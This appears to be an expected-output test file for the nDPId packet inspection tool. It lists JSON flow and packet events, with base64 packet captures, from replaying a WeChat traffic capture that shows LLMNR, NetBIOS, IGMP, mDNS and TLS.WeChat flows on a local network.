+00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1365,"source":"wechat.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1492167795091,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::91f9:3df3:7436:6cd6","dst_ip":"ff02::1:3","src_port":50440,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00458{"flow_id":68,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1365,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167795,"pkt_ts_usec":91471,"pkt_caplen":90,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":90,"pkt_l4_len":36,"pkt":"MzMAAQAD0CeIF3AEht1gAAAAACQRAf6AAAAAAAAAkfk983Q2bNb\/AgAAAAAAAAAAAAAAAQADxQgU6wAk8ypP1gAAAAEAAAAAAAAKbGJqYW13cHR4egAAAQAB"} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1365,"source":"wechat.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1492167795091,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::91f9:3df3:7436:6cd6","dst_ip":"ff02::1:3","src_port":50440,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1366,"source":"wechat.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1492167795092,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::91f9:3df3:7436:6cd6","dst_ip":"ff02::1:3","src_port":49195,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00458{"flow_id":69,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1366,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167795,"pkt_ts_usec":92845,"pkt_caplen":88,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":88,"pkt_l4_len":34,"pkt":"MzMAAQAD0CeIF3AEht1gAAAAACIRAf6AAAAAAAAAkfk983Q2bNb\/AgAAAAAAAAAAAAAAAQADwCsU6wAiwAT8cwAAAAEAAAAAAAAIY2Fuc2FxY3EAAAEAAQ=="} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1366,"source":"wechat.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1492167795092,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::91f9:3df3:7436:6cd6","dst_ip":"ff02::1:3","src_port":49195,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1367,"source":"wechat.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1492167795095,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::91f9:3df3:7436:6cd6","dst_ip":"ff02::1:3","src_port":50577,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00458{"flow_id":70,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1367,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167795,"pkt_ts_usec":95742,"pkt_caplen":88,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":88,"pkt_l4_len":34,"pkt":"MzMAAQAD0CeIF3AEht1gAAAAACIRAf6AAAAAAAAAkfk983Q2bNb\/AgAAAAAAAAAAAAAAAQADxZEU6wAifoZEYgAAAAEAAAAAAAAIbWN6dG1wa2MAAAEAAQ=="} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1367,"source":"wechat.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1492167795095,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::91f9:3df3:7436:6cd6","dst_ip":"ff02::1:3","src_port":50577,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00434{"flow_id":65,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1368,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167795,"pkt_ts_usec":96889,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"AQBeAAD80CeIF3AECABFoAA4Qc0AAAER1D\/AqAFk4AAA\/NNsFOsAJPA+T9YAAAABAAAAAAAACmxiamFtd3B0eHoAAAEAAQ=="} +00458{"flow_id":68,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1369,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167795,"pkt_ts_usec":98225,"pkt_caplen":90,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":90,"pkt_l4_len":36,"pkt":"MzMAAQAD0CeIF3AEht1gAAAAACQRAf6AAAAAAAAAkfk983Q2bNb\/AgAAAAAAAAAAAAAAAQADxQgU6wAk8ypP1gAAAAEAAAAAAAAKbGJqYW13cHR4egAAAQAB"} +00429{"flow_id":67,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1370,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167795,"pkt_ts_usec":99442,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AQBeAAD80CeIF3AECABFoAA2Qc4AAAER1EDAqAFk4AAA\/OA5FOsAIm9WRGIAAAABAAAAAAAACG1jenRtcGtjAAABAAE="} +00433{"flow_id":66,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1371,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167795,"pkt_ts_usec":100641,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AQBeAAD80CeIF3AECABFoAA2Qc8AAAER1D\/AqAFk4AAA\/MKoFOsAIsj\/\/HMAAAABAAAAAAAACGNhbnNhcWNxAAABAAE="} +00459{"flow_id":70,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1372,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167795,"pkt_ts_usec":102006,"pkt_caplen":88,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":88,"pkt_l4_len":34,"pkt":"MzMAAQAD0CeIF3AEht1gAAAAACIRAf6AAAAAAAAAkfk983Q2bNb\/AgAAAAAAAAAAAAAAAQADxZEU6wAifoZEYgAAAAEAAAAAAAAIbWN6dG1wa2MAAAEAAQ=="} +00459{"flow_id":69,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1373,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167795,"pkt_ts_usec":103351,"pkt_caplen":88,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":88,"pkt_l4_len":34,"pkt":"MzMAAQAD0CeIF3AEht1gAAAAACIRAf6AAAAAAAAAkfk983Q2bNb\/AgAAAAAAAAAAAAAAAQADwCsU6wAiwAT8cwAAAAEAAAAAAAAIY2Fuc2FxY3EAAAEAAQ=="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1374,"source":"wechat.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1492167795292,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00471{"flow_id":71,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1374,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167795,"pkt_ts_usec":292702,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/0CeIF3AECABFoABOQdAAAIARc3vAqAFkwKgB\/wCJAIkAOgI3\/v8BEAABAAAAAAAAIEVNRUNFS0VCRU5GSEZBRkVGSUZLQ0FDQUNBQ0FDQUFBAAAgAAE="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1374,"source":"wechat.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1492167795292,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00471{"flow_id":71,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1375,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167795,"pkt_ts_usec":294066,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/0CeIF3AECABFoABOQdEAAIARc3rAqAFkwKgB\/wCJAIkAOgw8\/wABEAABAAAAAAAAIEVORURGS0ZFRU5GQUVMRURDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00471{"flow_id":71,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1376,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167795,"pkt_ts_usec":295354,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/0CeIF3AECABFoABOQdIAAIARc3nAqAFkwKgB\/wCJAIkAOio7\/wEBEAABAAAAAAAAIEVERUJFT0ZERUJGQkVERkJDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00471{"flow_id":71,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1377,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167796,"pkt_ts_usec":111890,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/0CeIF3AECABFoABOQy0AAIARch7AqAFkwKgB\/wCJAIkAOgI3\/v8BEAABAAAAAAAAIEVNRUNFS0VCRU5GSEZBRkVGSUZLQ0FDQUNBQ0FDQUFBAAAgAAE="} +00471{"flow_id":71,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1378,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167796,"pkt_ts_usec":113315,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/0CeIF3AECABFoABOQy4AAIARch3AqAFkwKgB\/wCJAIkAOio7\/wEBEAABAAAAAAAAIEVERUJFT0ZERUJGQkVERkJDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00471{"flow_id":71,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1379,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167796,"pkt_ts_usec":114640,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/0CeIF3AECABFoABOQy8AAIARchzAqAFkwKgB\/wCJAIkAOgw8\/wABEAABAAAAAAAAIEVORURGS0ZFRU5GQUVMRURDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00471{"flow_id":71,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1380,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167796,"pkt_ts_usec":726273,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/0CeIF3AECABFoABORSAAAIARcCvAqAFkwKgB\/wCJAIkAOgI3\/v8BEAABAAAAAAAAIEVNRUNFS0VCRU5GSEZBRkVGSUZLQ0FDQUNBQ0FDQUFBAAAgAAE="} +00471{"flow_id":71,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1381,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167796,"pkt_ts_usec":727578,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/0CeIF3AECABFoABORSEAAIARcCrAqAFkwKgB\/wCJAIkAOgw8\/wABEAABAAAAAAAAIEVORURGS0ZFRU5GQUVMRURDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00471{"flow_id":71,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1382,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167796,"pkt_ts_usec":728951,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/0CeIF3AECABFoABORSIAAIARcCnAqAFkwKgB\/wCJAIkAOio7\/wEBEAABAAAAAAAAIEVERUJFT0ZERUJGQkVERkJDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00426{"flow_id":62,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1383,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167799,"pkt_ts_usec":176993,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0PplAAC8G6wLLzZOrwKgBZwG74reza+A+9PEGyoARAHBO\/gAAAQEICkWu8i8AMlnc"} +00425{"flow_id":62,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1384,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167799,"pkt_ts_usec":180222,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0Xv1AAEAGuj7AqAFny82Tq+K3Abv08QbKs2vgP4AQAOU6vAAAAQEICgAybalFrvIv"} +00426{"flow_id":12,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1387,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167802,"pkt_ts_usec":608250,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0ePtAAEAGFxTAqAFnQOmnvIyxFGy60MyoSq1b+oAQAO1kTQAAAQEICgAycQKFo6C3"} +00497{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1389,"source":"wechat.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":50,"flow_first_seen":1492167720101,"flow_last_seen":1492167748133,"flow_tot_l4_data_len":29265,"flow_min_l4_data_len":32,"flow_max_l4_data_len":2888,"flow_avg_l4_data_len":585,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54119,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1389,"source":"wechat.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":18,"flow_first_seen":1492167720353,"flow_last_seen":1492167748129,"flow_tot_l4_data_len":4131,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1720,"flow_avg_l4_data_len":229,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54120,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1395,"source":"wechat.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1492167815567,"flow_last_seen":0,"flow_tot_l4_data_len":12,"flow_min_l4_data_len":12,"flow_max_l4_data_len":12,"flow_avg_l4_data_len":12,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.254","dst_ip":"224.0.0.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00405{"flow_id":72,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1395,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167815,"pkt_ts_usec":567817,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":50,"pkt_l4_len":12,"pkt":"AQBeAAAB8IQvSpdgCABGoAAkj9sAAAEC8bDAqAH+4AAAAZQEAAARZOybAAAAAAIAAAA="} +00468{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1395,"source":"wechat.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1492167815567,"flow_last_seen":0,"flow_tot_l4_data_len":12,"flow_min_l4_data_len":12,"flow_max_l4_data_len":12,"flow_avg_l4_data_len":12,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.254","dst_ip":"224.0.0.1","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00412{"flow_id":30,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1396,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167818,"pkt_ts_usec":25453,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":54,"pkt_l4_len":16,"pkt":"AQBeAAAW0CeIF3AECABGoAAoTS4AAAECNN\/AqAFk4AAAFpQEAAAiAOwDAAAAAQIAAADv\/\/\/6"} +00409{"flow_id":30,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1397,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167819,"pkt_ts_usec":459029,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":54,"pkt_l4_len":16,"pkt":"AQBeAAAW0CeIF3AECABGoAAoTTIAAAECNNvAqAFk4AAAFpQEAAAiAPsCAAAAAQIAAADgAAD7"} +00437{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1398,"source":"wechat.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1492167820408,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"224.0.0.22","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00409{"flow_id":73,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1398,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167820,"pkt_ts_usec":408257,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":54,"pkt_l4_len":16,"pkt":"AQBeAAAWeJKcD6iOCABGwAAoAABAAAECQerAqAFn4AAAFpQEAAAiAPsCAAAAAQIAAADgAAD7"} +00469{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1398,"source":"wechat.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1492167820408,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"224.0.0.22","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00410{"flow_id":30,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1399,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167820,"pkt_ts_usec":484228,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":54,"pkt_l4_len":16,"pkt":"AQBeAAAW0CeIF3AECABGoAAoTTQAAAECNNnAqAFk4AAAFpQEAAAiAPsBAAAAAQIAAADgAAD8"} +00413{"flow_id":30,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1400,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167822,"pkt_ts_usec":531112,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":54,"pkt_l4_len":16,"pkt":"AQBeAAAW0CeIF3AECABGoAAoTUkAAAECNMTAqAFk4AAAFpQEAAAiAOwAAAAAAQIAAADv\/\/\/9"} +00438{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1401,"source":"wechat.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1492167820408,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"224.0.0.22","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00437{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1401,"source":"wechat.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1492167815567,"flow_last_seen":0,"flow_tot_l4_data_len":12,"flow_min_l4_data_len":12,"flow_max_l4_data_len":12,"flow_avg_l4_data_len":12,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.254","dst_ip":"224.0.0.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1401,"source":"wechat.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":26,"flow_first_seen":1492167765433,"flow_last_seen":1492167776953,"flow_tot_l4_data_len":10634,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":409,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58036,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00518{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1401,"source":"wechat.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":8,"flow_first_seen":1492167765657,"flow_last_seen":1492167777220,"flow_tot_l4_data_len":280,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58037,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1401,"source":"wechat.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":8,"flow_first_seen":1492167765657,"flow_last_seen":1492167777220,"flow_tot_l4_data_len":280,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58037,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":63,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1401,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167837,"pkt_ts_usec":279361,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD70CeIF3AECABFoABETnwAAAERx4XAqAFk4AAA+xTpFOkAMOibAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00449{"flow_id":63,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1402,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167837,"pkt_ts_usec":280685,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD70CeIF3AECABFoABETn0AAAERx4TAqAFk4AAA+xTpFOkAMOibAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00477{"flow_id":64,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1403,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167837,"pkt_ts_usec":282035,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD70CeIF3AEht1gAAAAADARAf6AAAAAAAAAkfk983Q2bNb\/AgAAAAAAAAAAAAAAAAD7FOkU6QAw3CsAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00477{"flow_id":64,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1404,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167837,"pkt_ts_usec":283427,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD70CeIF3AEht1gAAAAADARAf6AAAAAAAAAkfk983Q2bNb\/AgAAAAAAAAAAAAAAAAD7FOkU6QAw3CsAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00450{"flow_id":63,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1405,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167838,"pkt_ts_usec":303365,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD70CeIF3AECABFoABEUDIAAAERxc\/AqAFk4AAA+xTpFOkAMOibAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} 